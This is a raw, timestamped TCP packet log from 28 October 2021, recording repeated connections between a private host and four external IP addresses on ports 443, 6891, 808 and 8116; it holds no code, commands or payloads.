Oct 28, 2021 04:53:34.749473095 CEST	50107	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:34.750278950 CEST	50107	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:34.750293016 CEST	443	50107	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:34.756896973 CEST	50108	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:34.922408104 CEST	6891	50108	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:34.922593117 CEST	50108	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:34.924046993 CEST	50108	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:35.089418888 CEST	6891	50108	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:35.089447975 CEST	6891	50108	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:35.089771986 CEST	50108	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:35.091119051 CEST	50108	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:35.097913980 CEST	50108	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:35.098155975 CEST	50108	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:35.241297960 CEST	443	50107	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:35.241413116 CEST	50107	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:35.242547989 CEST	50107	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:35.242558002 CEST	443	50107	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:35.252083063 CEST	50107	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:35.252099991 CEST	443	50107	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:35.252434015 CEST	50107	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:35.252450943 CEST	443	50107	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:35.263405085 CEST	6891	50108	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:35.263426065 CEST	6891	50108	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:35.263468027 CEST	6891	50108	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:35.644357920 CEST	6891	50108	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:35.644386053 CEST	6891	50108	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:35.644427061 CEST	50108	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:35.644460917 CEST	50108	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:35.647139072 CEST	50108	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:35.757711887 CEST	50109	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:35.809020042 CEST	8116	50109	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:35.809142113 CEST	50109	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:35.810004950 CEST	50109	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:35.817290068 CEST	6891	50108	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:35.858282089 CEST	8116	50109	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:35.858455896 CEST	8116	50109	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:35.858534098 CEST	50109	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:35.859817028 CEST	50109	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:35.863102913 CEST	50109	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:35.863192081 CEST	50109	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:35.911539078 CEST	8116	50109	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:35.912123919 CEST	8116	50109	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:35.940498114 CEST	443	50107	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:35.940610886 CEST	50107	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:35.940619946 CEST	443	50107	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:35.940711975 CEST	50107	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:35.946942091 CEST	50107	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:35.946974993 CEST	443	50107	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:35.949928999 CEST	8116	50109	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:36.078602076 CEST	50110	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:36.084676981 CEST	8116	50109	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:36.084742069 CEST	8116	50109	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:36.084897995 CEST	50109	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:36.084964037 CEST	50109	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:36.087410927 CEST	50109	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:36.135981083 CEST	8116	50109	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:36.198230028 CEST	50111	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:36.198299885 CEST	443	50111	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:36.198462009 CEST	50111	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:36.199381113 CEST	50111	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:36.199419022 CEST	443	50111	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:36.246114016 CEST	808	50110	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:36.246253967 CEST	50110	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:36.248258114 CEST	50110	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:36.415546894 CEST	808	50110	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:36.415590048 CEST	808	50110	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:36.415666103 CEST	50110	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:36.416387081 CEST	50110	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:36.420712948 CEST	50110	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:36.420805931 CEST	50110	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:36.583374977 CEST	808	50110	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:36.587656021 CEST	808	50110	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:36.587678909 CEST	808	50110	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:36.587688923 CEST	808	50110	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:36.587697983 CEST	808	50110	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:36.587713957 CEST	808	50110	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:36.723171949 CEST	443	50111	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:36.723421097 CEST	50111	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:36.724457979 CEST	50111	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:36.724478006 CEST	443	50111	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:36.730650902 CEST	50111	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:36.730691910 CEST	443	50111	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:36.730864048 CEST	50111	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:36.730880976 CEST	443	50111	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:36.973867893 CEST	808	50110	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:36.973912954 CEST	808	50110	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:36.974054098 CEST	50110	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:36.974106073 CEST	50110	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:36.986303091 CEST	50110	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:37.105474949 CEST	50112	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:37.153332949 CEST	808	50110	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:37.273510933 CEST	6891	50112	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:37.273777008 CEST	50112	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:37.274653912 CEST	50112	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:37.439948082 CEST	6891	50112	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:37.439985037 CEST	6891	50112	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:37.440294027 CEST	50112	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:37.441003084 CEST	50112	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:37.444910049 CEST	50112	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:37.445051908 CEST	50112	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:37.446146965 CEST	443	50111	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:37.446399927 CEST	50111	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:37.446743965 CEST	443	50111	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:37.446851015 CEST	50111	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:37.446856976 CEST	443	50111	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:37.446928024 CEST	50111	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:37.449398994 CEST	50111	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:37.449448109 CEST	443	50111	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:37.610400915 CEST	6891	50112	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:37.610436916 CEST	6891	50112	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:37.610445023 CEST	6891	50112	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:37.618907928 CEST	50113	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:37.785856962 CEST	808	50113	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:37.786147118 CEST	50113	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:37.787898064 CEST	50113	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:37.954751015 CEST	808	50113	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:37.954905987 CEST	808	50113	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:37.955050945 CEST	50113	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:37.955579996 CEST	50113	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:37.959244013 CEST	50113	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:37.959480047 CEST	50113	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:38.007163048 CEST	6891	50112	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:38.007189989 CEST	6891	50112	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:38.007419109 CEST	50112	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:38.021127939 CEST	50112	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:38.122458935 CEST	808	50113	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:38.126110077 CEST	808	50113	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:38.126176119 CEST	808	50113	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:38.126204014 CEST	808	50113	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:38.126229048 CEST	808	50113	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:38.126256943 CEST	808	50113	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:38.158412933 CEST	50114	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:38.187068939 CEST	6891	50112	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:38.207226038 CEST	8116	50114	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:38.207410097 CEST	50114	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:38.208704948 CEST	50114	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:38.257260084 CEST	8116	50114	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:38.257505894 CEST	8116	50114	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:38.257651091 CEST	50114	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:38.258570910 CEST	50114	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:38.264635086 CEST	50114	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:38.264810085 CEST	50114	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:38.313843966 CEST	8116	50114	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:38.314155102 CEST	8116	50114	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:38.314932108 CEST	8116	50114	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:38.500818968 CEST	8116	50114	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:38.500881910 CEST	8116	50114	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:38.501205921 CEST	50114	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:38.511251926 CEST	808	50113	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:38.511284113 CEST	808	50113	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:38.511403084 CEST	50113	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:38.511562109 CEST	50114	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:38.516665936 CEST	50113	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:38.560165882 CEST	8116	50114	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:38.633088112 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:38.644897938 CEST	50116	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:38.644946098 CEST	443	50116	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:38.645061016 CEST	50116	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:38.646051884 CEST	50116	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:38.646074057 CEST	443	50116	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:38.683429003 CEST	808	50113	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:38.799549103 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:38.799676895 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:38.800381899 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:38.966648102 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:38.966805935 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:38.966892004 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:38.967580080 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:38.971729040 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:38.971889973 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:39.131644964 CEST	443	50116	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:39.135490894 CEST	50116	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:39.136204004 CEST	50116	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:39.136215925 CEST	443	50116	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:39.137949944 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:39.138011932 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:39.138076067 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:39.140237093 CEST	50116	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:39.140249014 CEST	443	50116	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:39.140304089 CEST	50116	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:39.140315056 CEST	443	50116	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:39.529520035 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:39.529561996 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:39.529719114 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:39.534256935 CEST	50115	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:39.652381897 CEST	50117	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:39.700632095 CEST	6891	50115	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:39.705749035 CEST	8116	50117	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:39.705914974 CEST	50117	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:39.706831932 CEST	50117	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:39.759757042 CEST	8116	50117	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:39.759891033 CEST	8116	50117	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:39.759983063 CEST	50117	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:39.760494947 CEST	50117	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:39.775922060 CEST	50117	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:39.776029110 CEST	50117	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:39.827016115 CEST	443	50116	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:39.827115059 CEST	443	50116	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:39.827199936 CEST	50116	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:39.827265978 CEST	50116	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:39.828948021 CEST	8116	50117	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:39.829655886 CEST	8116	50117	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:39.844722986 CEST	50116	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:39.844753981 CEST	443	50116	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:39.966293097 CEST	50118	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:40.020442963 CEST	8116	50117	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:40.020472050 CEST	8116	50117	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:40.020735025 CEST	50117	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:40.020778894 CEST	50117	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:40.023488998 CEST	50117	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:40.076414108 CEST	8116	50117	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:40.126960993 CEST	808	50118	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:40.127244949 CEST	50118	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:40.128478050 CEST	50118	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:40.135029078 CEST	50119	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:40.135085106 CEST	443	50119	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:40.135426998 CEST	50119	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:40.136166096 CEST	50119	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:40.136198044 CEST	443	50119	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:40.288893938 CEST	808	50118	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:40.289145947 CEST	808	50118	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:40.291527033 CEST	50118	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:40.292102098 CEST	50118	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:40.295089960 CEST	50118	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:40.295244932 CEST	50118	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:40.452600956 CEST	808	50118	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:40.455559969 CEST	808	50118	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:40.455591917 CEST	808	50118	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:40.455677032 CEST	808	50118	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:40.455703974 CEST	808	50118	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:40.628254890 CEST	443	50119	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:40.628653049 CEST	50119	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:40.629601002 CEST	50119	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:40.629662991 CEST	443	50119	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:40.637572050 CEST	50119	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:40.637598038 CEST	443	50119	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:40.637815952 CEST	50119	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:40.637842894 CEST	443	50119	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:40.829822063 CEST	808	50118	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:40.829864979 CEST	808	50118	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:40.829926968 CEST	50118	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:40.829972029 CEST	50118	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:40.840938091 CEST	50118	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:40.971030951 CEST	50120	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:41.001533031 CEST	808	50118	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:41.138803005 CEST	6891	50120	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:41.139079094 CEST	50120	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:41.140408039 CEST	50120	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:41.306718111 CEST	6891	50120	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:41.306828976 CEST	6891	50120	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:41.307071924 CEST	50120	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:41.307861090 CEST	50120	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:41.314409971 CEST	50120	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:41.314562082 CEST	50120	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:41.330831051 CEST	443	50119	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:41.330898046 CEST	443	50119	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:41.331059933 CEST	50119	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:41.333884954 CEST	50119	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:41.333918095 CEST	50119	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:41.333942890 CEST	443	50119	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:41.480835915 CEST	6891	50120	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:41.480879068 CEST	6891	50120	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:41.494131088 CEST	50121	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:41.518106937 CEST	6891	50120	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:41.658138037 CEST	808	50121	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:41.663454056 CEST	50121	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:41.666234970 CEST	50121	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:41.830183983 CEST	808	50121	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:41.830279112 CEST	808	50121	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:41.830389023 CEST	50121	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:41.830975056 CEST	50121	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:41.835639000 CEST	50121	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:41.835757017 CEST	50121	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:41.874402046 CEST	6891	50120	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:41.874432087 CEST	6891	50120	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:41.874567986 CEST	50120	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:41.882850885 CEST	50120	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:41.994949102 CEST	808	50121	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:41.995069981 CEST	50122	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:41.999665022 CEST	808	50121	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:41.999702930 CEST	808	50121	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:41.999713898 CEST	808	50121	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:41.999725103 CEST	808	50121	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:42.045805931 CEST	8116	50122	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:42.045973063 CEST	50122	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:42.046619892 CEST	50122	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:42.049609900 CEST	6891	50120	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:42.099287987 CEST	8116	50122	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:42.099335909 CEST	8116	50122	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:42.099474907 CEST	50122	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:42.100254059 CEST	50122	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:42.103163004 CEST	50122	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:42.103406906 CEST	50122	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:42.154074907 CEST	8116	50122	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:42.154093027 CEST	8116	50122	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:42.321638107 CEST	8116	50122	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:42.321662903 CEST	8116	50122	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:42.321836948 CEST	50122	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:42.329473019 CEST	50122	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:42.371076107 CEST	808	50121	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:42.371097088 CEST	808	50121	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:42.371243954 CEST	50121	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:42.374325991 CEST	50121	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:42.380110025 CEST	8116	50122	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:42.464365959 CEST	50123	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:42.464412928 CEST	443	50123	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:42.464672089 CEST	50123	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:42.465612888 CEST	50123	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:42.465646982 CEST	443	50123	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:42.538357019 CEST	808	50121	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:42.554680109 CEST	50124	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:42.721257925 CEST	6891	50124	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:42.721462011 CEST	50124	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:42.723061085 CEST	50124	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:42.889343023 CEST	6891	50124	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:42.889422894 CEST	6891	50124	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:42.889621019 CEST	50124	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:42.890197039 CEST	50124	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:42.893855095 CEST	50124	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:42.893987894 CEST	50124	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:42.955341101 CEST	443	50123	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:42.955606937 CEST	50123	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:42.956804991 CEST	50123	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:42.956824064 CEST	443	50123	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:42.966089964 CEST	50123	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:42.966113091 CEST	443	50123	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:42.966231108 CEST	50123	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:42.966242075 CEST	443	50123	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:43.061256886 CEST	6891	50124	45.77.0.96	192.168.2.5
